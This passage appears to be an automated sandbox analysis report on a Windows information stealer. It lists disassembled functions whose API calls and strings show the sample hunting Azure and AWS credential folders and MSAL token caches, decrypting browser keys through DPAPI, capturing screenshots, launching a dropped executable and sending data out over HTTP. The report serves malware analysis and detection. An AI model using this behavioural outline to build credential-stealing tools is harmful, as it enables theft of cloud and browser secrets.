HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00055F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00055F4C
InternetCloseHandle.WININET(00000000), ref: 00055FB0
InternetCloseHandle.WININET(00000000), ref: 00055FBD
HttpOpenRequestA.WININET(00000000,00BCDB88,?,00BD1B98,00000000,00000000,00400100,00000000), ref: 00055BF8

Part of subcall function 0006A9B0: lstrlenA.KERNEL32(?,00071110,?,00000000,00070AEF), ref: 0006A9C5
Part of subcall function 0006A9B0: lstrcpy.KERNEL32(00000000), ref: 0006AA04
Part of subcall function 0006A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0006AA12

Part of subcall function 0006A8A0: lstrcpy.KERNEL32(?,00070AEF), ref: 0006A905

Part of subcall function 0006A920: lstrcpy.KERNEL32(00000000,?), ref: 0006A972
Part of subcall function 0006A920: lstrcatA.KERNEL32(00000000), ref: 0006A982

InternetCloseHandle.WININET(00000000), ref: 00055FC7

Strings

------, xrefs: 00055C0B
", xrefs: 00055E16
------, xrefs: 00055D4C
------, xrefs: 00055A96
", xrefs: 00055CD5

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$??2@CloseHandle$HeapHttpOpenRequestlstrcatmemcpy$AllocConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 1406981993-2180234286
Opcode ID: 9bef32d63588db3d2c54f47f5540bb2aecdafa7497946a70051eeb8c21694a22
Instruction ID: 8711491ae82939cca30d13f471fd925704f3a4de13f8965a987dcff4725b0143
Opcode Fuzzy Hash: 9bef32d63588db3d2c54f47f5540bb2aecdafa7497946a70051eeb8c21694a22
Instruction Fuzzy Hash: B112ED71920118AEDB15FBA0DC96FEEB379BF15700F5041A9B10A77092EF702A4ACF65

Function 00064D70 Relevance: 33.4, APIs: 10, Strings: 9, Instructions: 119stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00064D87

Part of subcall function 00068DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00068E0B

lstrcatA.KERNEL32(?,00000000), ref: 00064DB0
lstrcatA.KERNEL32(?,\.azure\), ref: 00064DCD

Part of subcall function 00064910: wsprintfA.USER32 ref: 0006492C
Part of subcall function 00064910: FindFirstFileA.KERNEL32(?,?), ref: 00064943

memset.MSVCRT ref: 00064E13
lstrcatA.KERNEL32(?,00000000), ref: 00064E3C
lstrcatA.KERNEL32(?,\.aws\), ref: 00064E59

Part of subcall function 00064910: StrCmpCA.SHLWAPI(?,00070FDC), ref: 00064971
Part of subcall function 00064910: StrCmpCA.SHLWAPI(?,00070FE0), ref: 00064987
Part of subcall function 00064910: FindNextFileA.KERNEL32(000000FF,?), ref: 00064B7D
Part of subcall function 00064910: FindClose.KERNEL32(000000FF), ref: 00064B92

memset.MSVCRT ref: 00064E9F
lstrcatA.KERNEL32(?,00000000), ref: 00064EC8
lstrcatA.KERNEL32(?,\.IdentityService\), ref: 00064EE5

Part of subcall function 00064910: wsprintfA.USER32 ref: 000649B0
Part of subcall function 00064910: StrCmpCA.SHLWAPI(?,000708D2), ref: 000649C5
Part of subcall function 00064910: wsprintfA.USER32 ref: 000649E2
Part of subcall function 00064910: PathMatchSpecA.SHLWAPI(?,?), ref: 00064A1E
Part of subcall function 00064910: lstrcatA.KERNEL32(?,00BCDB68,?,000003E8), ref: 00064A4A
Part of subcall function 00064910: lstrcatA.KERNEL32(?,00070FF8), ref: 00064A5C
Part of subcall function 00064910: lstrcatA.KERNEL32(?,?), ref: 00064A70
Part of subcall function 00064910: lstrcatA.KERNEL32(?,00070FFC), ref: 00064A82
Part of subcall function 00064910: lstrcatA.KERNEL32(?,?), ref: 00064A96
Part of subcall function 00064910: CopyFileA.KERNEL32(?,?,00000001), ref: 00064AAC
Part of subcall function 00064910: DeleteFileA.KERNEL32(?), ref: 00064B31

memset.MSVCRT ref: 00064F2B

Strings

Azure\.aws, xrefs: 00064E5F
*.*, xrefs: 00064E64
\.IdentityService\, xrefs: 00064ED9
*.*, xrefs: 00064DD8
\.aws\, xrefs: 00064E4D
\.azure\, xrefs: 00064DC1
Azure\.IdentityService, xrefs: 00064EEB
Azure\.azure, xrefs: 00064DD3
msal.cache, xrefs: 00064EF0

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: lstrcat$Filememset$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 4017274736-974132213
Opcode ID: 0b7cbfb91c992635273b49f2382094982455dfcacc61fcad03baa4b091aee828
Instruction ID: 7581a2af51735d39ab91ee05ba9b6a004bcd7e62d5c14172b0023235b40007eb
Opcode Fuzzy Hash: 0b7cbfb91c992635273b49f2382094982455dfcacc61fcad03baa4b091aee828
Instruction Fuzzy Hash: 78418275A40304A7DB14F760EC4BFD93739AB14701F008554B649AA0C2EEF897D98BA2

Function 0005CEF0 Relevance: 31.9, APIs: 21, Instructions: 374stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0006A740: lstrcpy.KERNEL32(00070AEF,00000000), ref: 0006A788

Part of subcall function 0006A9B0: lstrlenA.KERNEL32(?,00071110,?,00000000,00070AEF), ref: 0006A9C5
Part of subcall function 0006A9B0: lstrcpy.KERNEL32(00000000), ref: 0006AA04
Part of subcall function 0006A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0006AA12

Part of subcall function 0006A8A0: lstrcpy.KERNEL32(?,00070AEF), ref: 0006A905

Part of subcall function 00068B60: GetSystemTime.KERNEL32(?,00BC4790,000705AE,?,?,?,?,?,?,?,?,?,00054963,?,00000014), ref: 00068B86

Part of subcall function 0006A920: lstrcpy.KERNEL32(00000000,?), ref: 0006A972
Part of subcall function 0006A920: lstrcatA.KERNEL32(00000000), ref: 0006A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0005CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0005D0C7
HeapAlloc.KERNEL32(00000000), ref: 0005D0CE
lstrcatA.KERNEL32(?,00000000,00BCD918,00071474,00BCD918,00071470,00000000), ref: 0005D208
lstrcatA.KERNEL32(?,00071478), ref: 0005D217
lstrcatA.KERNEL32(?,00000000), ref: 0005D22A
lstrcatA.KERNEL32(?,0007147C), ref: 0005D239
lstrcatA.KERNEL32(?,00000000), ref: 0005D24C
lstrcatA.KERNEL32(?,00071480), ref: 0005D25B
lstrcatA.KERNEL32(?,00000000), ref: 0005D26E
lstrcatA.KERNEL32(?,00071484), ref: 0005D27D
lstrcatA.KERNEL32(?,00000000), ref: 0005D290
lstrcatA.KERNEL32(?,00071488), ref: 0005D29F
lstrcatA.KERNEL32(?,00000000), ref: 0005D2B2
lstrcatA.KERNEL32(?,0007148C), ref: 0005D2C1
lstrcatA.KERNEL32(?,00000000), ref: 0005D2D4
lstrcatA.KERNEL32(?,00071490), ref: 0005D2E3

Part of subcall function 0006A820: lstrlenA.KERNEL32(00000000,?,?,00065B54,00070ADB,00070ADA,?,?,00066B16,00000000,?,00BBFAB0,?,0007110C,?,00000000), ref: 0006A82B
Part of subcall function 0006A820: lstrcpy.KERNEL32(00070AEF,00000000), ref: 0006A885

lstrlenA.KERNEL32(?), ref: 0005D32A
lstrlenA.KERNEL32(?), ref: 0005D339
memset.MSVCRT ref: 0005D388

Part of subcall function 0006AA70: StrCmpCA.SHLWAPI(00000000,00071470,0005D1A2,00071470,00000000), ref: 0006AA8F

DeleteFileA.KERNEL32(00000000), ref: 0005D3B4

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocCopyDeleteProcessSystemTimememset
String ID:
API String ID: 2775534915-0
Opcode ID: fac722e00d11d2ba1f0102c9565d501405f07361f439907d8e977dcb9478da79
Instruction ID: 981f365b3c493fbaf101d9ac3f7c9d434f9bdb41bc291d25479c99870e25a218
Opcode Fuzzy Hash: fac722e00d11d2ba1f0102c9565d501405f07361f439907d8e977dcb9478da79
Instruction Fuzzy Hash: A6E1DE71A10104ABCB14FBA4ED9AEEE7379BF15301F10415AF506B7092DF35AA09CFA6

Function 0005C990 Relevance: 26.6, APIs: 14, Strings: 1, Instructions: 383filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0006A740: lstrcpy.KERNEL32(00070AEF,00000000), ref: 0006A788

Part of subcall function 0006A920: lstrcpy.KERNEL32(00000000,?), ref: 0006A972
Part of subcall function 0006A920: lstrcatA.KERNEL32(00000000), ref: 0006A982

Part of subcall function 0006A8A0: lstrcpy.KERNEL32(?,00070AEF), ref: 0006A905

Part of subcall function 0006A9B0: lstrlenA.KERNEL32(?,00071110,?,00000000,00070AEF), ref: 0006A9C5
Part of subcall function 0006A9B0: lstrcpy.KERNEL32(00000000), ref: 0006AA04
Part of subcall function 0006A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0006AA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,00BD0718,00000000,?,0007144C,00000000,?,?), ref: 0005CA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0005CA89
GetFileSize.KERNEL32(00000000,00000000), ref: 0005CA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0005CAA8
??2@YAPAXI@Z.MSVCRT(-00000001), ref: 0005CAB5
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 0005CAD9
StrStrA.SHLWAPI(?,00BD0490,00070B52), ref: 0005CAF7
StrStrA.SHLWAPI(00000000,00BD04A8), ref: 0005CB1E
StrStrA.SHLWAPI(?,00BD0E38,00000000,?,00071458,00000000,?,00000000,00000000,?,00BCD868,00000000,?,00071454,00000000,?), ref: 0005CCA2
StrStrA.SHLWAPI(00000000,00BD0ED8), ref: 0005CCB9

Part of subcall function 0005C820: memset.MSVCRT ref: 0005C853
Part of subcall function 0005C820: lstrlenA.KERNEL32(?,00000001,?,00000000,00000000,00000000,00000000,?,00BCD8B8), ref: 0005C871
Part of subcall function 0005C820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0005C87C
Part of subcall function 0005C820: memcpy.MSVCRT(?,?,?), ref: 0005C912

StrStrA.SHLWAPI(?,00BD0ED8,00000000,?,0007145C,00000000,?,00000000,00BCD8B8), ref: 0005CD5A
StrStrA.SHLWAPI(00000000,00BCDA08), ref: 0005CD71

Part of subcall function 0005C820: lstrcatA.KERNEL32(?,00070B46), ref: 0005C943
Part of subcall function 0005C820: lstrcatA.KERNEL32(?,00070B47), ref: 0005C957
Part of subcall function 0005C820: lstrcatA.KERNEL32(?,00070B4E), ref: 0005C978

lstrlenA.KERNEL32(00000000), ref: 0005CE44
CloseHandle.KERNEL32(00000000), ref: 0005CE9C

Strings

, xrefs: 0005C9C6

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$??2@BinaryCloseCreateCryptHandleReadSizeStringmemcpymemset
String ID:
API String ID: 3555725114-3916222277
Opcode ID: 3a113010f72884c27c846afcbaeff226890b02453298e8cc4138237d7bd9b1d2
Instruction ID: 0b4d40fc2e48866ab49ac3ea8183e0bf4105ee16020e5b63188918f03afb84e8
Opcode Fuzzy Hash: 3a113010f72884c27c846afcbaeff226890b02453298e8cc4138237d7bd9b1d2
Instruction Fuzzy Hash: BBE1E771A00108AFDB14FBA4EC96FEEB779AF15300F504159F50677192EE306A4ACFA2

Function 00068320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0006A740: lstrcpy.KERNEL32(00070AEF,00000000), ref: 0006A788

RegOpenKeyExA.ADVAPI32(00000000,00BCE198,00000000,00020019,00000000,000705B6), ref: 000683A4
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00068426
wsprintfA.USER32 ref: 00068459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 0006847B
RegCloseKey.ADVAPI32(00000000), ref: 0006848C
RegCloseKey.ADVAPI32(00000000), ref: 00068499

Part of subcall function 0006A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0006A7E6

Strings

?, xrefs: 0006837A
%s\%s, xrefs: 0006844D
- , xrefs: 000685A3

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 792f7a8b15feadf4beea8ff6f6f5fa7c2e199d80a96b6177e80f2cd2ee8c3fbe
Instruction ID: d25a7566a07630292e4afeaba1d50ca239ced79fbb24de2b8478991f94d1e140
Opcode Fuzzy Hash: 792f7a8b15feadf4beea8ff6f6f5fa7c2e199d80a96b6177e80f2cd2ee8c3fbe
Instruction Fuzzy Hash: C3811B71910218ABDB24EB54DD95FEAB7B9FF08700F008299F109A6141DF716B89CFE1

Function 00060A60 Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 205stringprocesssynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 0006A740: lstrcpy.KERNEL32(00070AEF,00000000), ref: 0006A788

memset.MSVCRT ref: 00060C1C
lstrcatA.KERNEL32(?,00000000), ref: 00060C35
lstrcatA.KERNEL32(?,00070D7C), ref: 00060C47
lstrcatA.KERNEL32(?,00000000), ref: 00060C5D
lstrcatA.KERNEL32(?,00070D80), ref: 00060C6F
lstrcatA.KERNEL32(?,00000000), ref: 00060C88
lstrcatA.KERNEL32(?,00070D84), ref: 00060C9A
lstrlenA.KERNEL32(?), ref: 00060CA7
memset.MSVCRT ref: 00060CCD
memset.MSVCRT ref: 00060CE1

Part of subcall function 0006A820: lstrlenA.KERNEL32(00000000,?,?,00065B54,00070ADB,00070ADA,?,?,00066B16,00000000,?,00BBFAB0,?,0007110C,?,00000000), ref: 0006A82B
Part of subcall function 0006A820: lstrcpy.KERNEL32(00070AEF,00000000), ref: 0006A885

Part of subcall function 00068B60: GetSystemTime.KERNEL32(?,00BC4790,000705AE,?,?,?,?,?,?,?,?,?,00054963,?,00000014), ref: 00068B86

Part of subcall function 0006A920: lstrcpy.KERNEL32(00000000,?), ref: 0006A972
Part of subcall function 0006A920: lstrcatA.KERNEL32(00000000), ref: 0006A982

Part of subcall function 0006A9B0: lstrlenA.KERNEL32(?,00071110,?,00000000,00070AEF), ref: 0006A9C5
Part of subcall function 0006A9B0: lstrcpy.KERNEL32(00000000), ref: 0006AA04
Part of subcall function 0006A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0006AA12

Part of subcall function 0006A8A0: lstrcpy.KERNEL32(?,00070AEF), ref: 0006A905

Part of subcall function 0006A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0006A7E6

Part of subcall function 000696C0: CreateFileA.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,?,00060B85,?,00000000,?,00000000,000705C6,000705C5), ref: 000696E1

CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000020,00000000,00000000,?,?,00000000,?,00070D88,?,00000000), ref: 00060D5A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 00060D66

Strings

.exe, xrefs: 00060A95

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlenmemset$Create$FileObjectProcessSingleSystemTimeWait
String ID: .exe
API String ID: 1395395982-4119554291
Opcode ID: 8834fc5c7eb1c150bfa1d678b09d8ea38c35a80d8344bae0ad03f7e8d5607308
Instruction ID: 0cf83ec09331c16d0f41123fba23046d0acc9e51d68d5b8e85fec450975eaf3b
Opcode Fuzzy Hash: 8834fc5c7eb1c150bfa1d678b09d8ea38c35a80d8344bae0ad03f7e8d5607308
Instruction Fuzzy Hash: CE8117B1A10214ABDB14FB60DD56FEE733AAF55304F004199B30A76092DF746B89CFA6

Function 00069010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 0006906C

Strings

image/jpeg, xrefs: 00069136

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: 73baa8af46836c783992504df6cbd235a8bbc9600a8ad92c1e9bf1c7f321fed0
Instruction ID: e698421954724152bd8978b5d2c3e58d11a580ce9f201827e89a17ec22a8d358
Opcode Fuzzy Hash: 73baa8af46836c783992504df6cbd235a8bbc9600a8ad92c1e9bf1c7f321fed0
Instruction Fuzzy Hash: 7971EDB1910208EBDB14EFE4ED99FEEB7B9BF48700F108519F515A7290DB34A905CBA1

Function 000612D0 Relevance: 19.8, APIs: 13, Instructions: 308stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00061307
strtok_s.MSVCRT ref: 00061750

Part of subcall function 0006A820: lstrlenA.KERNEL32(00000000,?,?,00065B54,00070ADB,00070ADA,?,?,00066B16,00000000,?,00BBFAB0,?,0007110C,?,00000000), ref: 0006A82B
Part of subcall function 0006A820: lstrcpy.KERNEL32(00070AEF,00000000), ref: 0006A885

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: strtok_s$lstrcpylstrlen
String ID:
API String ID: 348468850-0
Opcode ID: ec8834e053a2da8fa213c911ac791d7fb07b3c0b8c4417237e4fcf9432b209a5
Instruction ID: ca9e14c63d7256fed3fb913ec18e34b9c48f21df10db0236a44b3d57f91f8b24
Opcode Fuzzy Hash: ec8834e053a2da8fa213c911ac791d7fb07b3c0b8c4417237e4fcf9432b209a5
Instruction Fuzzy Hash: 69C195B5A002199BCB14EF60DC89FEE737ABF64304F044599F50AA7142DF74AA85CFA1

Function 00064280 Relevance: 19.7, APIs: 13, Instructions: 202stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0006429E
memset.MSVCRT ref: 000642B5

Part of subcall function 00068DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00068E0B

lstrcatA.KERNEL32(?,00000000), ref: 000642EC
lstrcatA.KERNEL32(?,00BD0808), ref: 0006430B
lstrcatA.KERNEL32(?,?), ref: 0006431F
lstrcatA.KERNEL32(?,00BD0520), ref: 00064333

Part of subcall function 0006A740: lstrcpy.KERNEL32(00070AEF,00000000), ref: 0006A788

Part of subcall function 00068D90: GetFileAttributesA.KERNEL32(00000000,?,00060117,?,00000000,?,00000000,00070DAB,00070DAA), ref: 00068D9F

Part of subcall function 00059CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00059D39
Part of subcall function 00059CE0: memcmp.MSVCRT(?,DPAPI,00000005), ref: 00059D92

Part of subcall function 000599C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 000599EC
Part of subcall function 000599C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00059A11
Part of subcall function 000599C0: LocalAlloc.KERNEL32(00000040,?), ref: 00059A31
Part of subcall function 000599C0: ReadFile.KERNEL32(000000FF,?,00000000,000602E7,00000000), ref: 00059A5A
Part of subcall function 000599C0: LocalFree.KERNEL32(000602E7), ref: 00059A90
Part of subcall function 000599C0: CloseHandle.KERNEL32(000000FF), ref: 00059A9A

Part of subcall function 000693C0: GlobalAlloc.KERNEL32(00000000,000643DD,000643DD), ref: 000693D3

StrStrA.SHLWAPI(?,00BD0A00), ref: 000643F3
GlobalFree.KERNEL32(?), ref: 00064512

Part of subcall function 00059AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00054EEE,00000000,00000000), ref: 00059AEF
Part of subcall function 00059AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00054EEE,00000000,?), ref: 00059B01
Part of subcall function 00059AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00054EEE,00000000,00000000), ref: 00059B2A
Part of subcall function 00059AC0: LocalFree.KERNEL32(?,?,?,?,00054EEE,00000000,?), ref: 00059B3F

Part of subcall function 00059E10: memcmp.MSVCRT(?,v20,00000003), ref: 00059E2D

lstrcatA.KERNEL32(?,00000000), ref: 000644A3
StrCmpCA.SHLWAPI(?,000708D1), ref: 000644C0
lstrcatA.KERNEL32(00000000,00000000), ref: 000644D2
lstrcatA.KERNEL32(00000000,?), ref: 000644E5
lstrcatA.KERNEL32(00000000,00070FB8), ref: 000644F4

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

